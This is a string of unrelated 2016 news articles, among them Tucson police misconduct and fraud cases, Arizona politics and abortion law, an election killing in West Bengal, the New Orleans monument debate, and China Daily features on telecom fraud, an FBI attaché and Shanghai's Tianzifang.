Up to 20 people can attend a Passover seder organized through the Jewish Federation of Southern Arizona Pride at 6 p.m. Friday, April 22.

Donations or covered dishes are accepted, and reservations must be made by Friday, April 15.
A former Tucson police officer who was fired after he admitted to being a customer of a long-running prostitution ring, has surrendered his state license for police work, officials said.

On Wednesday, the Arizona Peace Officer Standards and Training Board accepted a consent agreement with Jesus Maldonado, allowing him to relinquish his peace officer certification, said board spokeswoman Sandy Sierra.

Maldonado resigned from the department in April 2015, at the start of an internal affairs investigation into the involvement of multiple officers with two illegal massage parlors, By Spanish and Daisys Delights, police documents show.

In July, the department changed the disposition of his employment to terminated, after the investigation was completed, according to the documents.

An internal affairs report said Maldonado spent 19 months using various illegal massage services advertised on the website Backpage.com, and contacted the businesses 40 times, via call or text message. He told investigators that he was concerned about being robbed when he went to his appointments, so he always checked the addresses before making an appointment.

Maldonado admitted to having sex with three different women he found on the site, paying between $120 and $150 each time, the document says. He told the women that he worked for the Air Force and lied about his name in order to avoid being caught. He told investigators he knew his actions were wrong, the report said.

As a result of his surrendering his certification, Maldonado is barred from working in law enforcement in Arizona.

In July, four other Tucson police officers and a crime scene technician were also fired for their involvement with the prostitution ring. A sergeant who resigned when the internal affairs investigation begin, Michael McGuire, also had his status changed to terminated. In January, McGuire surrendered his certification to the AZPOST.

In the past several months, the board has initiated proceedings against four of the other fired officers  Nathaniel Luttrell, Daniel Santa Cruz, Martin Walker and Vincent Valenzuela .

Proceedings against Sierra Vista officer

At Wednesdays meeting, the board also decided to initiate proceedings against Sierra Vista police Officer Alexander Roy, after an internal investigation revealed he had an inappropriate relationship with a 14-year-old girl, AZPOST documents show.

In early 2015, a woman filed several serious complaints with the Cochise County Sheriffs Office in regards to her daughters alleged relationship with Roy, the document said.

An investigation by the sheriffs office concluded that while Roy had not broken the law, his contact with the girl was inappropriate. It was clear to the department that Roy, an adult male, had an inappropriate relationship with a minor female, the document says. This includes inappropriately slapping her buttocks, spending time with her alone and picking her up in his patrol vehicle while on-duty and without supervisory approval.

Between July 2012 and June 2014, Roy committed five violations of department policy, and in conjunction with the findings of the investigation, he was fired for demonstrating a pattern of poor judgment, the document says.

Roy appealed his termination with the city of Sierra Vista, and a hearing officer decided the punishment was too severe. Roy was reinstated after an 80-hour suspension without pay, according to the document.

The board will send a formal letter to Roy, who will have the option of a hearing with an administrative law judge.
Tucson police have released details in the investigation of a man who allegedly defrauded a nonprofit agency he worked for out of nearly $10,000.

Rafael Zavala was arraigned in Pima County Superior Court on April 15 and has been charged with 31 felonies relating to forging time sheets and mileage reimbursements while working for CODAC Behavioral Health Services, court documents show.

From June 2014 to July 2015, Zavala, who worked in the technical support department, forged his supervisors signatures on nearly 90 percent of his mileage reimbursements and on-call pay requests, according to the Tucson police report. In total, Zavala defrauded CODAC out of roughly $9,300, police documents show.

His boss became suspicious last June and put Zavala on administrative leave while CODAC conducted an investigation. When confronted about the situation, Zavala maintained that his supervisor had signed the forms. He was terminated the next day, according to the police report.

In August, CODACs attorney began sending Zavala letters, offering to let him pay the debt in installments, as opposed to a lump sum. After more than six months with no reply, CODAC contacted Tucson police in March.
Crosscurrents are buffeting leaders of Tucsons business community as this years election for the Pima County Board of Supervisors takes shape.

On the one hand, voters rejection of last Novembers county bond issues awoke the Republicans among them  and they are mostly Republicans  to the possibility that a GOP majority could take over the Board of Supervisors this year. Some have met and committed to contribute money toward that end.

On the other hand, the lawsuit against the countys business-incentive deal with World View Enterprises does not sit well with many of these same leaders. And that legal challenge was inspired by a key Republican many are supporting, incumbent Supervisor Ally Miller, and carried out by the Goldwater Institute, the states bastion of free-market Republicanism.

Auto dealer Jim Click told me he is supporting Republicans Steve Christy, Kim DeMarco and Miller for the Board of Supervisors.

Ive committed to help Ally Miller, Click said. But he acknowledged, I think there are people who might be concerned about Goldwater.

Click himself is one of them. Hes encouraging Goldwater and Pima County to work out their differences outside of court.

Another is Caid Industries CEO Bill Assenmacher, who also plans to work to get business-friendly candidates elected to the supervisors.

I suggested to my wife that she stop mailing checks to the Goldwater Institute, which she does every month, Assenmacher said Thursday.

Longtime local developer Don Diamond is on the edges of these discussions, a Republican but not much of a partisan, and isnt completely comfortable with the idea of revolutionary change on the board. The current board has a 3-2 Democratic majority.

Maybe Im showing my age, but I dont like big sweeps of anything. Im for improving from within, he said.

Diamond supports incumbent Democrat Sharon Bronson in her race against Republican challenger DeMarco. He may also support Republican John Winchester in his primary race against Miller, a bridge the others arent quite prepared to cross, despite the Goldwater suit.

While many business leaders arent comfortable with the acrimony Miller has brought to the board, they agree broadly with her on the issues and can imagine a GOP majority with Miller as a member and led by Christy, the former auto dealer they are all comfortable with. That would make supporting a Republican challenger, like Winchester, unnecessary.

If we get a majority, it would be nice if everybody would work together, Click said.

Separately, the leaders of six local business organizations sent a letter Tuesday to Goldwater CEO Darcy Olsen asking that the institute withdraw its lawsuit against the county.

The Goldwater Institutes lawsuit already has negatively impacted Tucson and Southern Arizona, the letter says. If the suit proceeds, it will further hurt the city, region and entire state at a time when our economy is showing signs of improvement.

The letter is signed by Ron Shoopman of the Southern Arizona Leadership Council, Mike Varney of the Tucson Metro Chamber of Commerce, Stephen Zylstra of the Arizona Tech Council, Gonzalo de la Melena of the Arizona Hispanic Chamber of Commerce, Joe Snell of Sun Corridor Inc. and Michael Keith of the Downtown Tucson Partnership.

Pro-Hart letter emerges

Some Republican legislators, unhappy with the ire directed at UA President Ann Weaver Hart, have penned a letter in support of her and her appointment to the DeVry Educational Group board. Sen. Steve Pierce, a UA graduate who represents the Prescott area, led the effort in the Senate and Rep. T.J. Shope, a Republican from Coolidge, led it in the state House.

We should be encouraging collaboration and communication between educational institutions, not attempting to shut it down, the letter says.

Its signed by 13 members of the Legislature.

Pierce told me Thursday he thinks Harts appointment to the DeVry board has been blown out of proportion and has become political. Previously, 22 legislators, largely Democrats, signed a letter demanding that Hart step down from her UA post or her DeVry job.

DuVal disappoints Dems

It came as a shock to Democrats Wednesday when their former gubernatorial candidate, Fred DuVal, embraced Prop. 123, the ballot issue that would use increasing withdrawals from the state land trust to improve school funding.

It wasnt so much that DuVal supported the measure  plenty of Democrats do, though it seems to be a minority position in the party. Its that DuVal appeared in an ad supporting the proposition with Republican Gov. Doug Ducey, whom DuVal had accused in the campaign of waging class warfare with his approach to public education.

Even his former Southern Arizona campaign manager, Janet Marcotte, was dismayed. She called the appearance in the ad a bridge too far.

Speaking out on the issue is one thing, she said. Aligning yourself with the architect of this horrible choice people are being asked to make is quite another.

Gowan goes national

Rep. David Gowans term as House speaker has drawn even the attention of the New York Times. Reporter Fernanda Santos, who is based in Phoenix, reported in a piece that appeared Saturday on the ups and downs of the performance of the man from Sierra Vista, noting especially his since-rescinded policy of requiring reporters to go through background checks in order to report from the floor.

Local Republicans Frank Antenori and Jonathan Paton are quoted in support of Gowan, and local Democrat Bruce Wheeler, a current member, is quoted as calling Gowans speakership disastrous.
A man was arrested in the Monday groping incident of a University of Arizona student, police said.

Djamel Benslimane is facing sexual abuse charges, said Officer Rene Hernandez, a University of Arizona Police Department spokesman.

Benslimane, 38, was booked into the Pima County jail.

The woman was walking shortly before 9 a.m. in the 1500 block of East Speedway Boulevard, near North Cherry Avenue when a man groped her. The woman pushed away the assailant and called 911, said Hernandez.

After she reported the incident to police, a composite sketch was created based on her description of the man.

A patrol officer saw a man matching the composite. Police investigated further and the victim identified the suspect, which led to Benslimane's arrest, Hernandez said.
Environmentalists and outside scientists say the plan doesn't go far enough to help wolf populations, while ranchers say it goes too far.
Our talented readers have shared a wealth of photos. If you have some to share, upload them at tucson.com/readers and we'll add them to one of our galleries.
PHOENIX  State lawmakers are moving to alter two controversial abortion laws.

Members of a House-Senate conference committee voted Wednesday to repeal a bill signed into law last month by Gov. Doug Ducey that made it illegal for doctors to use RU-486 to induce an abortion beyond the seventh week of pregnancy.

Lawmakers also agreed to rescind a requirement that doctors tell women considering a medication abortion that the procedure may be reversible.

A federal court already has blocked the state from enforcing that 2015 law, which was challenged by Planned Parenthood as junk science. But the action by lawmakers does not repeal the law.

Instead, it requires a doctor to tell a woman who has taken the first of two pills designed to terminate a pregnancy that the single pill does not necessarily result in an abortion. That, in turn, could encourage women who might have second thoughts to seek out a small group of physicians who contend the abortion might be halted with large doses of the hormone progesterone.

Bryan Howard, president of Planned Parenthood Arizona, said the move to repeal the laws is a victory for womens health.

But he said the new language of what women have to be told about medication abortions is no better than the law the federal court has enjoined. He said, though, no decision has been made whether to challenge that if it becomes law.

At the heart of both issues are efforts to limit medication abortions.

In the first case, Arizona doctors have routinely used mifepristone, known as RU-486, through the ninth week of pregnancy despite FDA labeling as safe through the seventh week.

There is nothing illegal about such practices. And gynecologists said they have found the drug to be safe and effective through nine weeks, and at a lower dosage than the FDA labeling.

A 2012 law required Arizona doctors to follow the FDA label, with offenders facing possible loss of medical practice. That law was overturned last year by a state judge who said legislators could not simply defer to whatever the FDA wanted.

So last month lawmakers voted to limit use to what was the FDA standard as of the end of last year, meaning seven weeks.

But days later the FDA approved the 10-week standard and lower dosage. Ducey signed the seven-week measure anyway, but acknowledged changes might be necessary.

Cathi Herrod, president of the Center for Arizona Policy, said she believes the new FDA standard is unsafe.

But she said time has run out to craft a law that would not result in a new lawsuit. So doctors are free to use the drug through 10 weeks in Arizona, at least for the time being.

The more complex issue surrounds the 2015 law that requires doctors to inform women at least 24 hours before the procedure that it may be possible to reverse the effects of a medication abortion if the woman changes her mind but that time is of the essence.

Doctors who do not comply face suspension or revocation of license; clinics found in violation can be closed.

That law also requires the Department of Health Services to provide a list of doctors who are willing to try to stop the procedure after the first pill, RU-486, was taken.

The new version, approved Wednesday, eliminates the pre-abortion advisory but instead requires doctors to tell women who have taken that first pill but have questions that RU-486, by itself, does not always result in an abortion.

Howard said thats true, but added that its misleading.

In most cases, he said, mifepristone kills the fetus. The second pill, misoprostol, simply begins the contractions to expel it from the uterus.

Howard said the new version could create a situation where a woman who has taken only the first pill might be misled into believing the procedure is halted, unaware of medical complications that could result from failing to expel what could be a dead fetus from the womb.

Herrod, however, said the new proposal simply reflects reality.

Planned Parenthood has acknowledged that mifepristone, the first pill, is not always effective, she said. Herrod said this new language simply tells doctors what they have to tell a woman who goes back to the clinic with questions before taking the second pill.
TUCSON, Ariz.  Federal authorities in southern Arizona say smugglers continue to endanger immigrants entering the country illegally by transporting them inside the locked trunks of vehicles.

Customs and Border Protection says it's extremely dangerous for a person to travel in the trunk of a vehicle because of heat, the possibility of an accident or unforeseen circumstances.

CBP says Border Patrol agents found a Guatemalan child locked in the trunk of a car that was stopped after it sped away from a Nogales border crossing on April 16.

Two days later, agents at the Douglas crossing found three immigrants locked in the trunk of a car.
Help India!

By Zaidul Haque, TwoCircles.net

Kolkata/Berhampur: The battle for West Bengal claimed its first victim during the third phase of elections in Domkal, Murshidabad. Tauhidul Islam, a small hawker of conch-shell bangles was killed allegedly by Trinamool goon at a polling booth in Jitpur-Natunpara village, Domkal Murshidabad.

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voters in a polling booth at Domkal

The local people said that Islam was killed after a brawl broke out when between him and some TMC supporters. Islam was a CPI (M) supporter. The incident also left three people injured, bringing back images of the Panchayat elections of 2008 when about 16 people died in political clashes between CPIM and Congress. Now these two parties have been joined by the Trinamool Congress. The injured, all Muslims, has exposed the ugly side of the local politcs in a constituency where they are in majority. According to victims daughter Tuhina Khatun who is studying in class XII, her father was at the booth around 7.30 am at Natunpara, when a TMC supporter, who was also a Muslim, tried to break the queue. When my father protested, a few TMC workers dragged him out and attacked him, leaving him dead on the spot, she said.

Police Super of Murshidabad C Sudhakar said 11 persons have been arrested and a murder case has been filed by the deceaseds family.

Domkal touhidul family mourned

Tuhina Khatun has not stopped crying since the news; Islam was the sole breadwinner in the family and after his demise, the future of Tuhina, her siblings, and her mother looks bleak.

Domkal:Important seat for minority votes

Domkal sees former Left front Minister and sitting MLA Anisur Rahman of CPIM against Soumik Hossain, son of ex Congress MP Mannan Hossain contesting for TMC and Congress candidate Abdur Rahman Sheik. Also in the frame is retired IPS Nazrul Islam contesting on behalf of his own party `Mulnibasi Party of India.

The fight between Muslims in Domkal has been condemned by the member of the All India personal Law Board and Murshidabad resident Maulana Ishaque Madani

He spoke with TCN and called it a shame for the Muslim society. In Domkal more than 80 percent Muslim. This is a political fight and I appeal to the Muslims in the state to be aware and not fight each other over politics.

voters at a booth in Jangipur Murshidabad

State Secretary of All India Muslim Youth Federation Md Kamruzzaman added that Muslims should keep away from political clash. The victimms of political clashes are mostly Muslim or Dalit or Schedule caste/Schedule tribe. The maeginalised communities are always used as vote banks. Muslims should stay away from violence and focus on real. issues like need for a University, he said.
At the December 2015 New Orleans City Council Meeting, citizen Ron Drez advised the City Council and the Mayor that citizens would see the money they were spending to remove monuments to West Point Graduates, Mexican-American War Veterans, and Louisiana National Guard Veterans as being wasteful of tax dollars.

Drez went on to say that citizens would then conclude if there was money to waste on staff time and legal fees to remove the monuments, then they would conclude additional funds were not needed topay a retirement settlement due to firefighters, after the city lost a lawsuit on the Firefighter's pension.

Hereminded the council that years earlier, residents had defeated a tax increase as a show of lack of confidence in the city council after part of the historic street car linewas removed.

The council went on to approve Mayor Landrieu's request to begin a process to remove monuments in New Orleans that were erected in the Jim Crow era of approximately 1870-1960. Mayor Landrieu presented that the Mayors and City Councilmembers of those years oftenapproved and erected monuments to support racism.

Examples include Mayor Walmsley (1929-1936), who placed a plaque on a monument in 1933 dedicated to an 1874 battle between a mob and New Orleans Police Force which read: "[Democrats] McEnery and Penny having been elected governor and lieutenant-governor by the white people, were duly installed by this overthrow of carpetbag Government, ousting the usurpers, Governor Kellogg (white) and Lieutenant-Governor Antoine (coloured).

United States troops took over the state government and reinstated the usurpers but the national election of November 1876 recognized white supremacy in the South and gave us our state."

The plaque was removed several years ago, but Walmsley still has a major street named after him.

The plaque was placed on a monument erected by Mayor Joseph Shakspeare in October 1891.

Heallowed eleven acquitted Italians to be murdered by a mobwho organized and stormed a jail in March 1891. That mob had many of the same people from the 1874 mob that stormed Louisiana Government Offices.The 1891 massacre became an international incident. After the Italian government threaten to blockade the Mississippi River, the City of New Orleans paid the families $25,000.00.

Mayor "Chep" Morrison (1946-1961)frequently stated how often the NAACP sued him over segregation policies. Morrison has a monument erected to him outside city hall, which was built during his term.

There was no debate at the December City Council meeting on removing monuments and renaming streets to honor former Mayors who promoted Jim Crow Laws, racism,and segregation.

Ironically, one monument slated for removal is PGT Beauregard, who fought for school unification in 1873 with aphrase Equal Rights  One Flag  One Country  One People."

Fourteen years later, in 1877,Colonel George Balch, wrote thefirst pledge of allegiance We give our heads and hearts to God and our country; one country, one language, one flag!

One Council Member, Stacey Head, voted against the measure to remove the monuments stating that the council was beginning a slippery slope that was divisive to the City of New Orleans.The Council voted 6-1 to remove the monuments in December.

In April, citizens voted13,838 to12,006against the tax increase, or 53.5%against and 46.5% in favour.

A group of four long term non-profitsformed to sue and stop the removal of the monuments. In March,theyreceived an injunction to stop the city from removing the monuments.
Telecom fraud suspects to face proceeding on Chinese mainland Updated: 2016-04-22 04:27 (Xinhua)

BEIJING -- The 77 alleged members of telecom fraud syndicates deported from Kenya earlier this month will be tried on the Chinese mainland, a Ministry of Public Security (MPS) official said here Thursday.

Chen Shiqu, deputy inspector with the MPS's criminal investigation bureau made the remarks after a Taiwan delegation visited the Beijing detention center where the suspects were currently held. Forty-five of the suspects originate in Taiwan.

"The suspects specifically targeted people on the Chinese mainland and their victims are from the mainland. Not to mention that many of the suspects are themselves from the mainland," Chen said. "They will be investigated and prosecuted in accordance with mainland law," he said.

"Mainland Police will spare no efforts in dealing with telecom fraud syndicates, and we expect authorities in Taiwan will do the same," he added.
FBI agent brings criminals to justice Updated: 2016-04-22 06:53 By Zhang Yi(China Daily)



Holden Triplett, Beijing-based FBI agent who works to bring China's fugitives in the US to justice International

They are the men and women who do the leg work, much of it tedious, unglamorous and unheralded, that will eventually bring some of China's most sought-after criminal fugitives to justice.

One of them, Holden Triplett, is an FBI special agent stationed in China whose life and career have taken him on an odyssey from a small town in Kansas to Texas, California, New York and Moscow before landing him in Beijing about 18 months ago.

That career path has also taken him from a position as an associate with two highly respected law firms to the less lucrative, if more fulfilling, rank of embassy attache.

For Triplett, the decision to make that career change essentially came down to one set of numbers, Sept 11, 2001, and one word, patriotism.

Sitting in his office at the US embassy in Beijing, Triplett recalled the horror of the terrorist attacks on 9/11 and the days that followed.

"It's almost impossible to describe the shock I felt when I heard about the attacks," said Triplett, 40, who at the time was studying for a law degree at the University of California, Berkeley, after earlier earning a degree in philosophy and Russian at the University of Texas at Austin.

His sympathy for the nearly 3,000 victims and solidarity with his fellow citizens put Triplett on his present career trajectory. After earning his law degree in 2003 and then working for two law firms for three years, he answered the call of an FBI recruiter and joined its investigations division.

After serving in New York for nearly seven years, an opportunity arose for him to use his Russian as an assistant legal attache in Moscow for two years before being posted to Beijing as a legal attache in 2014. Legal attache is the formal position for a special agent representing the FBI in a foreign country.

Triplett's arrival in Beijing coincided with an increasing degree of law-enforcement collaboration between China and the United States, including the capture and return of Chinese criminals who had fled to the US.

Triplett said he handled nearly 200 cases last year involving a wide range of crimes, including China's "most wanted" economic crimes fugitives.

One of the difficulties of any international cooperation, Triplett said, is the complexities of the distinct legal systems.

"Trying to figure out how they fit together and how to make them work smoothly is probably one of the most difficult things we do here," Triplett said. "Some of these cases can be the most complicated and they are also important to China. We understand that and we make sure we are taking these very seriously."

Complicated problems are one of the joys of the job, he said.

"I enjoy these complex legal problems. Oftentimes, we can find solutions to these when we work at them. Even if we've got very different systems, we can find a way to make them work together," he said.

"We are very concerned about any criminal that is trying to abscond from justice in the United States and so we work very diligently and have a lot resources focused on this matter. We do not want to have anyone use the United States as a haven."

In such endeavors, it is critical for the two countries to work closely together.

"My Chinese colleagues, of course, are all working diligently on this stuff as well and collaborate with us as we try to collect evidence of criminality."

However, juggling legal systems and two countries' different norms can be very difficult, "and then some", he said.

For example, obtaining the tax records of a suspect in China is relatively simple and usually takes a few days, but getting financial records can be extremely laborious, he said.

"We have a very good partnership with the Ministry of Public Security. They often facilitate our interactions with local public security departments. It has been a positive experience dealing with them," he said.

Triplett said the complex process ensures suspects get a fair trial. "The process can be frustrating because it takes a long time and we have to be very careful. But it is part of both legal systems."

Apart from adjusting to the legal environment, he has also had to get used to inconveniences, such as time differences that create long work days.

"Often I am working during the day with China and I am on the phone at night with the US," he said. "There is often travel back and forth coordinating all of this."

However, such drawbacks do not diminish his commitment to the work or his job satisfaction.

"The job has moral content. I was told at the start of my days with the FBI that one will never get rich working for the FBI. But generally, I have a good feeling at the end of a day. I feel I am doing something better for society and I am doing something good here for both societies."
A new life answering call to help Updated: 2016-04-22 07:11 By Ren Qi and Li Yingqing(China Daily Europe)

Ingrid Chen (in red) with Tina Redshaw (far right), the British consul-general in Chongqing, at the factory of Hearts & Hands in Kunming last year. Photos Provided to China Daily

Woman from Northern Ireland finds a family, a career and a purpose after landing in Kunming for a five-week course in Chinese

Ingrid Chen, 52, greets local residents in fluent Mandarin in the morning as she rides a bicycle to work in an alley near Yuchi Road in Kunming, the capital of Yunnan province.

Chen, who stands out thanks to her blond hair and height, had no intention when she first came to China to settle in this southern city, which sits at an altitude of 1,900 meters, giving it a pleasant, spring-like climate. But aside from the charms of Kunming and its people, she established a family in the city and also started a business to help local disabled people.

Chen, then Ingrid Simms, left her hometown of Belfast, Northern Ireland, in 1992 at age 28 to study Chinese at Yunnan Minzu University for five weeks. She became fascinated by Yunnan's wide range of ethnic and linguistic minorities. She returned to Kunming in 1993 and studied for three years at the university.

After graduation, she taught English at an international school for a year, then began working for Fu Hua Guoji (Bless China International), a nongovernmental organization with the mission of helping the poor and disabled in China that is registered in both China and the United States.

Chen had experience teaching the deaf in Northern Ireland, so she learned Chinese Sign Language in Kunming. "I hoped to help them, and by learning Chinese Sign Language I was able to offer more help," she tells China Daily.

Chen worked in a program that teaches sign language, crafts and sewing skills to people over 16 with no educational opportunities from rural areas around Kunming.

"Usually the deaf students studied in the training class for three months," she says. "We could not help them to thoroughly remove communication obstacles with three months of training, but we did help them communicate with sign language, as well as regain confidence by making new friends."

In 2002, Chen and some partners from the NGO established their own company, Hearts & Hands, to sell products created in the traditional style of Yunnan ethnic cultures. They include handmade bags, toys and decorative items made by the deaf and are sold overseas.

There are 72 million deaf people in China, and many of them struggle to find an education and a job, according to the company website, heartsandhandschina.com.

The idea for the company came in 2000, first as a training class in patchwork and quilting for young deaf students, then as a small handcraft business employing young deaf people, according to the website, which displays products made by the workers - who number more than 40 - and tells some of their stories.

"We have been surprised that the products made by these disabled people have been welcomed so warmly by customers," Chen says. "We just wanted to start a business to help provide job opportunities for them."

The company is on the fourth and fifth floors of an old building that also houses the NGO. It is less than 100 meters from Yunnan Huaxia Specialized Secondary School, the only secondary school in southwestern China that offers classes for disabled students.

Some students work at the company as interns. While there currently is no formal connection between the school and company, they hope to build ties that could make it easier for students to find jobs there. Some of the company's workers also have gone on to other jobs.

Chen says she picks the traditional styles of Yunnan's 25 officially recognized ethnic groups that she thinks will sell well, in some cases combining them with Western designs. "I myself am a laowai (foreigner), so maybe I'm able to understand what kinds of minority products are more welcome in foreign markets," she says.

Still, Chen says the company has had its share of difficulties, especially because when they first started they had little experience in marketing and company management. At times, being a foreigner has made navigating local regulations tougher, though her husband, Gang Chen, who is from Lanzhou, in Northwest China's Gansu province, gives her a hand. They met at the NGO and married in 2003.
An epic journey from deckhand to revered China hand Updated: 2016-04-23 03:05 By Paul Tomic(China Daily USA)

One morning in 1998, David Leffman awoke with a desert-dry throat, a thumping hangover and a notebook littered with jottings about an uprising in the 1860s that resulted in the deaths of 3 million people.

The hangover, courtesy of a three-day "sisters meal" with the Miao people in the southwestern province of Guizhou, eventually subsided, but he could not get the scribbled notes out of his mind.

Despite being well-grounded in Chinese history, the British author was astonished he has never heard of the uprising and decided to learn more.

That weekend marked the start of a 15-year obsession with William Mesny, a British adventurer who arrived in China as a penniless sailor in 1860 and rose to the rank of general in the Imperial Army of the Qing Dynasty (1644-1911), before dying as he had arrived  almost broke  in Shanghai in 1919.

The upshot of that decade and a half of research is Leffman's recently published book, The Mercenary Mandarin: How a British Adventurer Became a General in Qing-Dynasty China.

Although a biography, the book also acts as a guide to the history of the period and the conditions under which people lived.

Mesny, a native of Jersey in the Channel Islands, led a dangerous life in China, plying many trades  gunrunner, jailer, newspaper columnist, government official, soldier, bridge designer, author and historian, to name just a few  before donning his general's uniform.

He spoke fluent Chinese, advocated the modernization of all areas of society, and (unusually for a Westerner at the time) had several close Chinese friends and seemed untainted by notions of superiority. Mesny also married two Chinese women  at different times, of course.

His travels were so remarkable, and well-publicized at the time, that it is surprising that The Mercenary Mandarin is the first full biography of Mesny, although Leffman expressed admiration for Keith Stevens's A Jersey Adventurer in China, published in 1992.

In Leffman's hands, Mesny emerges as someone who was always  at least in his own accounts  in the thick of the action. On the positive side, he was ingenious, industrious, generous, resourceful, courageous and honest.

Sadly for Mesny, those attributes were overshadowed by less-admirable qualities, such as impulsiveness, a desire to stand on his dignity and an almost childlike naivety.

He also had a tendency to take credit for other people's ideas, despite his quietly deep Methodist faith, while his refusal to give "gifts" to local officials often hindered his progress in terms of geography and his career.

The first official reference to Mesny comes in 1860 in an Australian newspaper report about the 18-year-old sailor being fined for an unprovoked attack on his ship's boson. Deciding that seafaring was not for him, Mesny headed to Shanghai.

It was a brave move, given that China was in turmoil  the Taiping Rebellion (1850-64) was in full swing  and with the Second Opium War (1856-60) about to reach its bloody conclusion, British adventurers were far from welcome.

Leffman's introduction to China was less dramatic. In 1985, then a 20-year-old photography student, he was left a small inheritance, so he asked his tutors for permission to travel to China during term time to undertake a photojournalism project.

That visit was hard work because he spoke no Chinese and had only a vague plan of action. He remembered the trip as being "alienating, overwhelming, filthy and depressing".

When his brother arrived in Beijing, the two set out to see the sights.

One day, at the Great Wall, they spotted a couple of Westerners being guided by a large group of Chinese officials and surrounded by photographers.

Although they did not speak, the two groups acknowledged each other. Only later did the brothers realize the two men were George Michael and Andrew Ridgley, then better known as Wham, the first Western pop group to perform in China.

Later, they encountered one another with depressing regularity. "In those days, there weren't that many places to eat or visit in Beijing, so we constantly saw them (Wham) in restaurants and other places," the 52-year-old author recalled, laughing.

"Whenever they spotted us, one of them would mutter, It is those guys again.'"

The brothers' presence obviously perplexed Michael, who paid Leffman "a huge compliment by complaining loudly to his entourage of photographers that I did not look like a Wham fan".

Although he did not know then, Leffman had been bitten by the China bug. A few years later, as a fledgling author for the Rough Guide travel series, he used his photojournalism experience to successfully lobby the editors to send him to southwestern China.

That trip sparked a love affair with Guizhou, Sichuan and Yunnan provinces.

In addition to China, Leffman has written guidebooks about many countries and regions, including Iceland, Australia and Indonesia, and has even ghost written a Chinese cookbook.

He estimated he has visited China more than 15 times since that 1985 trip, traveling, observing, learning and writing about a country that has fascinated him for 30 years.

Although it took many years to research Mesny's life, including retracing his steps, Leffman rarely considered he might not finish The Mercenary Mandarin.

"It was something that escalated as I gathered information, rather like reading a good mystery or thriller and increasingly wondering how it was all going to turn out," he explained.

"And having spent 25 years working to deadlines, it was an indulgence to set my own pace."

Mesny's affection for most things Chinese is highlighted in The Mercenary Mandarin through his own words, culled from thousands of items, including newspaper articles, published collectively as Mesny's Chinese Miscellany.

Running to 2,000 pages across 30 volumes, the miscellany contains Mesny's thoughts on life in China; politics, food, social mores, ailments and treatments, and his own perilous financial situation.

Everything was grist to his mill, and although he rewrote previously published articles to bring his own role to the fore, the collection remains a valuable window into the last decades of the Qing Dynasty.

Leffman retraced Mesny's seemingly endless treks, visiting the places he fought or lived, and interviewing direct descendents of many of his friends and colleagues, but he also set great store in the miscellany as a source for his subject's opinions of the people and events he encountered during nearly 70 years in China.

As Leffman pointed out in his introduction to The Mercenary Mandarin, the miscellany is an extraordinary work, given that Mesny left school when he was 8 and his English was initially poor.

As the Channel Islands are geographically closer to France than the British mainland, the Mesny family spoke French at home.

Mesny's life has many parallels with modern China, according to his biographer.

"Then, as now, China was opening up to the world after a period of isolation, and everybody  foreign and Chinese  was jockeying for position, trying to stay ahead of the curve and milk political and social changes for what they were worth," he said.

"There's an increasing interest in the foreign view of China, especially during the 19th century."

Leffman has decided that it is now time to close the book on Mesny and he is juggling ideas for a new project.

"At the moment I'm wavering between a couple of ideas, one a history, the other fiction. So watch this space."

paultomic@chinadaily.com.cn
Taiwan wire fraud suspects to face trial on mainland Updated: 2016-04-23 06:56 By Peng Yining(China Daily)

A 10-member Taiwan delegation led by Chen Wen-chi (center) visits on Thursday a house of detention in Beijing where 45 suspects from the island are held.[Photo/Xinhua]

The 77 suspected members of telecom fraud syndicates deported from Kenya this month will be tried on the mainland, said Chen Shiqu, deputy inspector of the Ministry of Public Security's Criminal Investigation Bureau.

"The suspects specifically targeted people on the Chinese mainland, and their victims are from the mainland. Not to mention that many of the suspects are themselves from the mainland," Chen said. "They will be investigated and prosecuted in accordance with mainland law."

All 45 Taiwan telecom fraud suspects who were repatriated to China from Africa on April 13 have confessed, Xinhua News Agency reported on Thursday. The other suspects come from the mainland.

Chen added that each year wire fraud criminals from Taiwan obtain more than 10 billion yuan ($1.55 billion) from the Chinese mainland, despite repeated crackdowns launched by both sides of the Straits.

"Mainland police will spare no efforts in dealing with telecom fraud syndicates, and we expect authorities in Taiwan will do the same," he said.

On Thursday, the day after it arrived in Beijing, a 10-member Taiwan delegation visited the house of detention, where 45 suspects from the island are currently held, and it saw the suspects through a monitor.

Chen Wen-chi, leader of the delegation and a cross-Straits legal affairs official in Taiwan, said in an interview with Xinhua that "all of the Taiwan suspects are in good condition. People don't need to be worried."

The delegation also visited the detention house's medical facilities and was informed that the suspects' legal rights have been protectedmany have already met with their lawyers.

She said the delegation will convey the information provided by mainland police to the judicial department in Taiwan, and the island will cooperate with the mainland on cracking down on cross-Straits telecom fraud.

After releasing 20 fraud suspects who were deported from Malaysia on Saturday, citing a lack of evidence, Taiwan police arrested 18 of them on Thursday and restricted the remaining two from leaving the island, as clues have been detected.

"This is actually a good opportunity for the two sides to cooperate on cracking down on wire fraud," said Ning Yongjie, deputy director of the Shanghai Institute of Taiwan Studies. "It is time to mount a campaign against the crime and protect the interests of people from both sides."
In search of its original soul Updated: 2016-04-23 02:44 By Yu Ran in Shanghai(China Daily USA)

Tianzifang may be a bustling tourist hotspot today, but the steady exodus of artists from within has inherently reduced it to a shadow of its former self  a hub for arts and culture

Factories and old housing estates used to stand where Tianzifang is now located. Gao erqiang / China Daily

The scene along Taikang Road today is a far cry from what it was two decades ago. Now home to the iconic Tianzifang, the area is filled with numerous retail outlets, small snack shops, bars and cafes, most of which are occupied by tourists from other Chinese cities and abroad.

Located in the heart of the city and well known for its labyrinth of alleys, Tianzifang was built where abandoned factories from the 1940s and historical Shikumen residential buildings from the 1920s once stood.

Yu Hai, a professor of sociology at Fudan University who has studied Tianzifang since its inception nearly 20 years ago, said it is a shame that the true charm of the area has been lost in the modernization process.

This used to be a place where people can savor the essence of old Shanghai, and one that was slated to become a community for people from the creative industries. Today, it is just another tourist attraction, albeit a very famous one, that only has a faint glimpse of its artistic core.

"Tianzifang has over the years faced a struggle to gather artists, designers and creative businessmen. Those who are in the area now are also planning to move out," said Yu, who recently led a team of students from Fudan University and Tongji University to conduct an in-depth survey on the current situation of Tianzifang, which is quickly losing its artistic soul to commercialization.

"This should be a place for people to trace back the old times in Shanghai, not filled with shops and restaurants," he added.

Zheng Rongfa, the former administrative head of the Dapuqiao area which Taikang Road is under, recalls how Tianzifang used to be a vibrant place filled with the sounds and smells coming from the homes of Shanghainese families.

"There used to be an outdoor wet market where housewives would haggle over the price of live chickens in the morning. Many men would smoke cigarettes and play poker on tables in the courtyard in the afternoon," said Zheng, who is widely regarded as "the father of Tianzifang".

